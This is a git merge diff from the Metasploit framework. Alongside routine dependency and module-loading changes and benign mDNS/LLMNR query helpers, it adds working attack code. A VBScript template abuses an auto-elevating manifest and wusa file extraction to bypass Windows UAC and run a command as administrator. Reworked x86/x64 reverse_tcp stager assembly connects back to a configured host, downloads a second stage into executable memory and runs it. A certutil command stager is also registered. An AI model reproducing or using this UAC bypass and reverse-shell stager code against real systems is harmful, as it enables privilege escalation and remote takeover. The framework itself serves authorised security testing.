Merge remote-tracking branch 'rapid7/master' into Uptime

bug/bundler_fix
Ewerson Guimaraes (Crash) 2015-09-03 20:48:50 +02:00
commit 92aa09a586
132 changed files with 2074 additions and 700 deletions

View File

@ -9,7 +9,7 @@ PATH
json
metasploit-concern (= 1.0.0)
metasploit-model (= 1.0.0)
metasploit-payloads (= 1.0.10)
metasploit-payloads (= 1.0.12)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -123,7 +123,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.10)
metasploit-payloads (1.0.12)
metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)

View File

@ -0,0 +1,62 @@
Option Explicit
Dim oWs: Set oWs = CreateObject("WScript.Shell")
Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject")
Dim HOST_MANIFEST: HOST_MANIFEST = _
"<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>" & vbCrLf & _
"<assembly xmlns=""urn:schemas-microsoft-com:asm.v1""" & vbCrLf & _
" xmlns:asmv3=""urn:schemas-microsoft-com:asm.v3""" & vbCrLf & _
" manifestVersion=""1.0"">" & vbCrLf & _
" <asmv3:trustInfo>" & vbCrLf & _
" <security>" & vbCrLf & _
" <requestedPrivileges>" & vbCrLf & _
" <requestedExecutionLevel level=""RequireAdministrator"" uiAccess=""false""/>" & vbCrLf & _
" </requestedPrivileges>" & vbCrLf & _
" </security>" & vbCrLf & _
" </asmv3:trustInfo>" & vbCrLf & _
" <asmv3:application>" & vbCrLf & _
" <asmv3:windowsSettings xmlns=""http://schemas.microsoft.com/SMI/2005/WindowsSettings"">" & vbCrLf & _
" <autoElevate>true</autoElevate>" & vbCrLf & _
" <dpiAware>true</dpiAware>" & vbCrLf & _
" </asmv3:windowsSettings>" & vbCrLf & _
" </asmv3:application>" & vbCrLf & _
"</assembly>"
Sub Copy(ByVal sSource, ByVal sTarget)
Dim sTempFile: sTempFile = GetTempFilename()
oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True
oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True
oFso.DeleteFile sTempFile
End Sub
Sub Elevate()
Const WINDIR = "%windir%"
Dim sPath: sPath = Left(WScript.ScriptFullName, _
InStrRev(WScript.ScriptFullName, "\"))
Dim sHost: sHost = Right(WScript.FullName, 11)
Dim sManifest: sManifest = sPath & sHost & ".manifest"
Dim oStream: Set oStream = oFso.CreateTextFile(sManifest)
oStream.Write HOST_MANIFEST
oStream.Close
Copy sManifest, WINDIR
Copy WScript.FullName, WINDIR
oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART"
oFso.DeleteFile sManifest
End Sub
Function GetTempFilename()
Const vbTemporaryFolder = 2
Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder)
GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName())
End Function
Sub RunAsAdmin()
oWs.Run "COMMAND"
End Sub
If WScript.Arguments.Named.Exists("RESTART") Then
RunAsAdmin
Else
Elevate
End If

View File

@ -9,52 +9,62 @@ module Msf
def init_module_paths(opts={})
if @module_paths_inited
fail "Module paths already initialized. To add more module paths call `modules.add_module_path`"
else
# Ensure the module cache is accurate
self.modules.refresh_cache_from_database
add_engine_module_paths(Rails.application, opts)
Rails.application.railties.engines.each do |engine|
add_engine_module_paths(engine, opts)
end
# Initialize the user module search path
if (Msf::Config.user_module_directory)
self.modules.add_module_path(Msf::Config.user_module_directory, opts)
end
# If additional module paths have been defined globally, then load them.
# They should be separated by semi-colons.
if self.datastore['MsfModulePaths']
self.datastore['MsfModulePaths'].split(";").each { |path|
self.modules.add_module_path(path, opts)
}
end
@module_paths_inited = true
return
end
allowed_module_paths = []
extract_engine_module_paths(Rails.application).each do |path|
allowed_module_paths << path
end
if Msf::Config.user_module_directory
allowed_module_paths << Msf::Config.user_module_directory
end
Rails.application.railties.engines.each do |engine|
extract_engine_module_paths(engine).each do |path|
allowed_module_paths << path
end
end
# If additional module paths have been defined globally, then load them.
# They should be separated by semi-colons.
self.datastore['MsfModulePaths'].to_s.split(";").each do |path|
allowed_module_paths << path
end
# If the caller had additional paths to search, load them.
# They should be separated by semi-colons.
opts.delete(:module_paths).to_s.split(";").each do |path|
allowed_module_paths << path
end
# Remove any duplicate paths
allowed_module_paths.uniq!
# Update the module cache from the database
self.modules.refresh_cache_from_database(allowed_module_paths)
# Load each of the module paths
allowed_module_paths.each do |path|
self.modules.add_module_path(path, opts)
end
@module_paths_inited = true
end
private
# Add directories `engine.paths['modules']` from `engine`.
# Extract directories `engine.paths['modules']` from `engine`.
#
# @param engine [Rails::Engine] a rails engine or application
# @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths}
# @return [void]
def add_engine_module_paths(engine, options={})
modules_paths = engine.paths['modules']
if modules_paths
modules_directories = modules_paths.existent_directories
modules_directories.each do |modules_directory|
modules.add_module_path(modules_directory, options)
end
end
# @return [Array<String>] The list of module paths to load
def extract_engine_module_paths(engine)
engine.paths['modules'] ? engine.paths['modules'].existent_directories : []
end
end
end
end
end
end

View File

@ -0,0 +1,24 @@
# -*- coding: binary -*-
require 'msf/core/auxiliary/mdns'
module Msf
# This module provides methods for working with LLMNR
module Auxiliary::LLMNR
include Auxiliary::MDNS
# Initializes an instance of an auxiliary module that uses LLMNR
def initialize(info = {})
super
register_options(
[
OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']),
Opt::RPORT(5355),
# TODO: allow more than one
OptString.new('NAME', [true, 'The name to query', 'localhost']),
OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A'])
],
self.class
)
end
end
end

View File

@ -0,0 +1,108 @@
# -*- coding: binary -*-
require 'net/dns'
module Msf
# This module provides methods for working with mDNS
module Auxiliary::MDNS
# Initializes an instance of an auxiliary module that uses mDNS
def initialize(info = {})
super
register_options(
[
OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']),
Opt::RPORT(5353),
OptString.new('NAME', [true, 'The name to query', '_services._dns-sd._udp.local']),
OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'PTR']),
OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN'])
],
self.class
)
end
def setup
query_class_name
query_type_name
end
def build_probe
@probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data
# TODO: support QU vs QM probes
# @probe[@probe.size-2] = [0x80].pack('C')
# @probe
end
def query_class
if datastore['CLASS'] =~ /^\d+$/
datastore['CLASS'].to_i
else
datastore['CLASS'].upcase
end
end
def query_class_name
Net::DNS::RR::Classes.new(query_class).to_s
end
def query_class_num
Net::DNS::RR::Classes.new(query_class).to_i
end
def query_type
if datastore['TYPE'] =~ /^\d+$/
datastore['TYPE'].to_i
else
datastore['TYPE'].upcase
end
end
def query_name
datastore['NAME']
end
def query_type_name
Net::DNS::RR::Types.new(query_type).to_s
end
def query_type_num
Net::DNS::RR::Types.new(query_type).to_i
end
def describe_response(response)
decoded = Resolv::DNS::Message.decode(response)
answers = decoded.answer
if answers.empty? # not sure this will ever happen...
"no answers"
else
# there are often many answers for the same RR, so group them
grouped_answers = answers.group_by { |name, _, _| name }
# now summarize each group by noting the resource type and the notable
# part(s) of that RR
summarized_answers = grouped_answers.map do |name, these_answers|
summarized_group = these_answers.map do |_, _, data|
case data
when Resolv::DNS::Resource::IN::A
"A #{data.address}"
when Resolv::DNS::Resource::IN::AAAA
"AAAA #{data.address}"
when Resolv::DNS::Resource::IN::PTR
"PTR #{data.name}"
when Resolv::DNS::Resource::IN::SRV
"SRV #{data.target}"
when Resolv::DNS::Resource::IN::TXT
"TXT #{data.strings.join(',')}"
else
data.inspect
end
end
"#{name}: (#{summarized_group.join(", ")})"
end
summarized_answers.join(', ')
end
end
def request_info
"#{query_name} #{query_class}/#{query_type}"
end
end
end

View File

@ -20,6 +20,8 @@ require 'msf/core/auxiliary/login'
require 'msf/core/auxiliary/rservices'
require 'msf/core/auxiliary/cisco'
require 'msf/core/auxiliary/kademlia'
require 'msf/core/auxiliary/llmnr'
require 'msf/core/auxiliary/mdns'
require 'msf/core/auxiliary/nmap'
require 'msf/core/auxiliary/natpmp'
require 'msf/core/auxiliary/iax2'

View File

@ -181,7 +181,9 @@ module Auxiliary::UDPScanner
end
# Called for each response packet
def scanner_process(data, shost, sport)
def scanner_process(data, shost, _sport)
@results[shost] ||= []
@results[shost] << data
end
# Called before the scan block

View File

@ -242,7 +242,7 @@ module Msf
dev ||= datastore['INTERFACE']
dst_mac, src_mac = lookup_eth(dhost, dev)
if dst_mac == nil and not bcast
return false
raise RuntimeError, 'Unable to determine the destination MAC and bcast is false'
end
inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac)
end

View File

@ -20,6 +20,7 @@ module Exploit::CmdStager
:printf => Rex::Exploitation::CmdStagerPrintf,
:vbs => Rex::Exploitation::CmdStagerVBS,
:vbs_adodb => Rex::Exploitation::CmdStagerVBS,
:certutil => Rex::Exploitation::CmdStagerCertutil,
:tftp => Rex::Exploitation::CmdStagerTFTP
}

View File

@ -113,6 +113,8 @@ class Msf::Module::SiteReference < Msf::Module::Reference
self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}"
elsif (in_ctx_id == 'WPVDB')
self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}"
elsif (in_ctx_id == 'PACKETSTORM')
self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}"
elsif (in_ctx_id == 'URL')
self.site = in_ctx_val.to_s
else

View File

@ -113,15 +113,15 @@ module Msf::ModuleManager::Cache
framework.db.update_all_module_details
end
refresh_cache_from_database
refresh_cache_from_database(self.module_paths)
end
end
# Refreshes the in-memory cache from the database cache.
#
# @return [void]
def refresh_cache_from_database
self.module_info_by_path_from_database!
def refresh_cache_from_database(allowed_paths=[""])
self.module_info_by_path_from_database!(allowed_paths)
end
protected
@ -149,10 +149,12 @@ module Msf::ModuleManager::Cache
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module
# information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type,
# :reference_name.
def module_info_by_path_from_database!
def module_info_by_path_from_database!(allowed_paths=[""])
self.module_info_by_path = {}
if framework_migrated?
allowed_paths = allowed_paths.map{|x| x + "/"}
ActiveRecord::Base.connection_pool.with_connection do
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
# Use find_each so Mdm::Module::Details are returned in batches, which will
@ -162,6 +164,9 @@ module Msf::ModuleManager::Cache
type = module_detail.mtype
reference_name = module_detail.refname
# Skip cached modules that are not in our allowed load paths
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
# join to '' so that typed_path_prefix starts with file separator
typed_path_suffix = File.join('', typed_path)

View File

@ -76,11 +76,11 @@ module Payload::Windows::ReverseTcp
# Start with our cached default generated size
space = cached_size
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
space += 29
# Reliability adds 10 bytes for recv error checks
space += 10
# Reliability adds some bytes!
space += 44
space += uuid_required_size if include_send_uuid
@ -108,137 +108,155 @@ module Payload::Windows::ReverseTcp
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
create_socket:
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
set_address:
push #{retry_count} ; retry counter
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
push #{retry_count} ; retry counter
create_socket:
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call ebp ; connect( s, &sockaddr, 16 );
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
test eax,eax ; non-zero means a failure
jz connected
handle_failure:
dec dword [esi+8]
handle_connect_failure:
; decrement our attempt count and try again
dec [esi+8]
jnz try_connect
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
# TODO: Rewind the stack, free memory, try again
=begin
if opts[:reliable]
asm << %Q^
reconnect:
^
end
=end
asm << %Q^
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
^
^
asm << asm_send_uuid if include_send_uuid
asm << %Q^
recv:
; Receive the size of the incoming second stage...
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, &dwLength, 4, 0 );
^
# Check for a failed recv() call
# TODO: Try again by jmping to reconnect
if reliable
asm << %Q^
cmp eax, 0
jle failure
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
^
# Check for a failed recv() call
# TODO: Try again by jmping to reconnect
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jle failure
jle cleanup_socket
^
end
asm << %Q^
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more:
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, buffer, length, 0 );
^
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jge read_successful
; something failed, free up memory
pop eax ; get the address of the payload
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
push 0 ; dwSize
push eax ; lpAddress
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
cleanup_socket:
; clear up the socket
push edi ; socket handle
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket(socket)
; restore the stack back to the connection retry count
pop esi
pop esi
dec [esp] ; decrement the counter
; try again
jmp create_socket
^
end
asm << %Q^
read_successful:
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^
if opts[:exitfunk]

View File

@ -33,25 +33,11 @@ module Payload::Windows::Exitfunk_x64
ret ; Return to NULL (crash)
^
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
# automatically generate the right code depending on the selected exit method.
when 'thread'
asm << %Q^
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
add rsp, 40 ; cleanup the default param space on stack
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
jl exitfunk_goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
; Windows Vista, 2008 or 7...
jne exitfunk_goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
exitfunk_goodbye: ; We now perform the actual call to the exit function
push 0 ;
pop rcx ; set the exit function parameter
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
mov r10d, ebx ; place the correct EXITFUNK into r10d
call rbp ; call EXITFUNK( 0 );
^

View File

@ -62,12 +62,12 @@ module Payload::Windows::ReverseTcp_x64
#
def generate_reverse_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
cld ; Clear the direction flag.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp
pop rbp ; block API pointer
#{asm_reverse_tcp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
@ -84,11 +84,11 @@ module Payload::Windows::ReverseTcp_x64
# Start with our cached default generated size
space = cached_size
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
space += 15
# Reliability adds 10 bytes for recv error checks
space += 10
# Reliability adds bytes!
space += 57
space += uuid_required_size if include_send_uuid
@ -105,7 +105,6 @@ module Payload::Windows::ReverseTcp_x64
#
def asm_reverse_tcp(opts={})
# TODO: reliability coming later
reliable = opts[:reliable]
retry_count = [opts[:retry_count].to_i, 1].max
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
@ -114,88 +113,172 @@ module Payload::Windows::ReverseTcp_x64
asm = %Q^
reverse_tcp:
; setup the structures we need on the stack...
; setup the structures we need on the stack...
mov r14, 'ws2_32'
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
; structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
; structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
mov r12, #{encoded_host_port}
push r12 ; host, family AF_INET and port
mov r12, rsp ; save pointer to sockaddr struct for connect call
push r12 ; host, family AF_INET and port
mov r12, rsp ; save pointer to sockaddr struct for connect call
; perform the call to LoadLibraryA...
mov rcx, r14 ; set the param for the library to load
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA( "ws2_32" )
mov rcx, r14 ; set the param for the library to load
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call rbp ; LoadLibraryA( "ws2_32" )
; perform the call to WSAStartup...
mov rdx, r13 ; second param is a pointer to this stuct
push 0x0101 ;
pop rcx ; set the param for the version requested
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call rbp ; WSAStartup( 0x0101, &WSAData );
mov rdx, r13 ; second param is a pointer to this stuct
push 0x0101 ;
pop rcx ; set the param for the version requested
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call rbp ; WSAStartup( 0x0101, &WSAData );
; stick the retry count on the stack and store it
push #{retry_count} ; retry counter
pop r14
create_socket:
; perform the call to WSASocketA...
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
push rax ; push null for reserved parameter
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
xor r8, r8 ; we do not specify a protocol
inc rax ;
mov rdx, rax ; push SOCK_STREAM
inc rax ;
mov rcx, rax ; push AF_INET
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
mov rdi, rax ; save the socket for later
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
push rax ; push null for reserved parameter
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
xor r8, r8 ; we do not specify a protocol
inc rax ;
mov rdx, rax ; push SOCK_STREAM
inc rax ;
mov rcx, rax ; push AF_INET
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
mov rdi, rax ; save the socket for later
try_connect:
; perform the call to connect...
push 16 ; length of the sockaddr struct
pop r8 ; pop off the third param
mov rdx, r12 ; set second param to pointer to sockaddr struct
mov rcx, rdi ; the socket
mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call rbp ; connect( s, &sockaddr, 16 );
; restore RSP so we dont have any alignment issues with the next block...
add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations
push 16 ; length of the sockaddr struct
pop r8 ; pop off the third param
mov rdx, r12 ; set second param to pointer to sockaddr struct
mov rcx, rdi ; the socket
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call rbp ; connect( s, &sockaddr, 16 );
test eax, eax ; non-zero means failure
jz connected
handle_connect_failure:
dec r14 ; decrement the retry count
jnz try_connect
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call rbp
^
end
asm << %Q^
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
^
asm << asm_send_uuid if include_send_uuid
asm << %Q^
recv:
; Receive the size of the incoming second stage...
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
mov rdx, rsp ; set pointer to this buffer
xor r9, r9 ; flags
push 4 ;
pop r8 ; length = sizeof( DWORD );
mov rcx, rdi ; the saved socket
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call rbp ; recv( s, &dwLength, 4, 0 );
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
; Alloc a RWX buffer for the second stage
pop rsi ; pop off the second stage length
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly recieved second stage length.
xor rcx, rcx ; NULL as we dont care where the allocation is.
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the size of the incoming second stage...
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
; second stage length
mov rdx, rsp ; set pointer to this buffer
xor r9, r9 ; flags
push 4 ;
pop r8 ; length = sizeof( DWORD );
mov rcx, rdi ; the saved socket
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call rbp ; recv( s, &dwLength, 4, 0 );
^
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jle cleanup_socket
^
end
asm << %Q^
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
; Alloc a RWX buffer for the second stage
pop rsi ; pop off the second stage length
movsxd rsi, esi ; only use the lower-order 32 bits for the size
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly recieved second stage length.
xor rcx, rcx ; NULL as we dont care where the allocation is.
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
mov rbx, rax ; rbx = our new memory address for the new stage
mov r15, rax ; save the address so we can jump into it later
read_more: ;
xor r9, r9 ; flags
mov r8, rsi ; length
mov rdx, rbx ; the current address into our second stages RWX buffer
mov rcx, rdi ; the saved socket
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call rbp ; recv( s, buffer, length, 0 );
add rbx, rax ; buffer += bytes_received
sub rsi, rax ; length -= bytes_received
test rsi, rsi ; test length
jnz read_more ; continue if we have more to read
jmp r15 ; return into the second stage
mov rbx, rax ; rbx = our new memory address for the new stage
mov r15, rax ; save the address so we can jump into it later
read_more: ;
xor r9, r9 ; flags
mov r8, rsi ; length
mov rdx, rbx ; the current address into our second stages RWX buffer
mov rcx, rdi ; the saved socket
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call rbp ; recv( s, buffer, length, 0 );
^
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jge read_successful
; something failed so free up memory
pop rax
push r15
pop rcx ; lpAddress
push 0x4000 ; MEM_COMMIT
pop r8 ; dwFreeType
push 0 ; 0
pop rdx ; dwSize
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call rbp ; VirtualFree(payload, 0, MEM_COMMIT)
cleanup_socket:
; clean up the socket
push rdi ; socket handle
pop rcx ; s (closesocket parameter)
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call rbp
; and try again
dec r14 ; decrement the retry count
jmp create_socket
^
end
asm << %Q^
read_successful:
add rbx, rax ; buffer += bytes_received
sub rsi, rax ; length -= bytes_received
test rsi, rsi ; test length
jnz read_more ; continue if we have more to read
jmp r15 ; return into the second stage
^
if opts[:exitfunk]

View File

@ -0,0 +1,8 @@
# -*- coding: binary -*-
module Msf::Post::Android
require 'msf/core/post/android/system'
require 'msf/core/post/android/priv'
end

View File

@ -0,0 +1,35 @@
# -*- coding: binary -*-
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix'
module Msf
class Post
module Android
module Priv
include Msf::Post::Common
public
# Returns whether we are running as root or not.
#
# @return [Boolean] TrueClass if as root, otherwise FalseClass.
def is_root?
id = cmd_exec('id')
uid = id.scan(/uid=(\d+)(.+)/).flatten.first
if /^0$/ === uid
return true
else
return false
end
end
private
def get_id
cmd_exec('id')
end
end ; end ; end ; end

View File

@ -0,0 +1,31 @@
# -*- coding: binary -*-
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix'
